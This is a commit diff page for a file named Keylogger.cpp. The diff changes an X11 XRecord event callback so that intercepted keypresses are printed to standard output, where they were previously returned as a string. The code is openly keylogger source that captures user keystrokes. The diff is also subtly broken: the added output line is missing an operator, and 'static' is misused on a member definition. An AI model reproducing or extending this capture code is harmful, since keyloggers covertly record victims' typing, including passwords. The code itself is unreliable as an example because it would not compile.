summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--srcs/Keylogger.cpp5
1 files changed, 2 insertions, 3 deletions
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp
index 93bd1db..ae9356c 100644
--- a/srcs/Keylogger.cpp
+++ b/srcs/Keylogger.cpp
@@ -69,7 +69,7 @@ bool Keylogger::xConnect(string displayName)
return (true);
}
-static std::string &Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook, std::string &solv)
+static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
{
if (hook->category != XRecordFromServer)
{
@@ -81,8 +81,7 @@ static std::string &Keylogger::eventCallback(XPointer priv, XRecordInterceptData
if(data->event.u.u.type == KeyPress)
{
int c = data->event.u.u.detail;
- solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0));
+ std::cout << XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)) std::endl;
}
XRecordFreeData(hook);
- return (solv);
}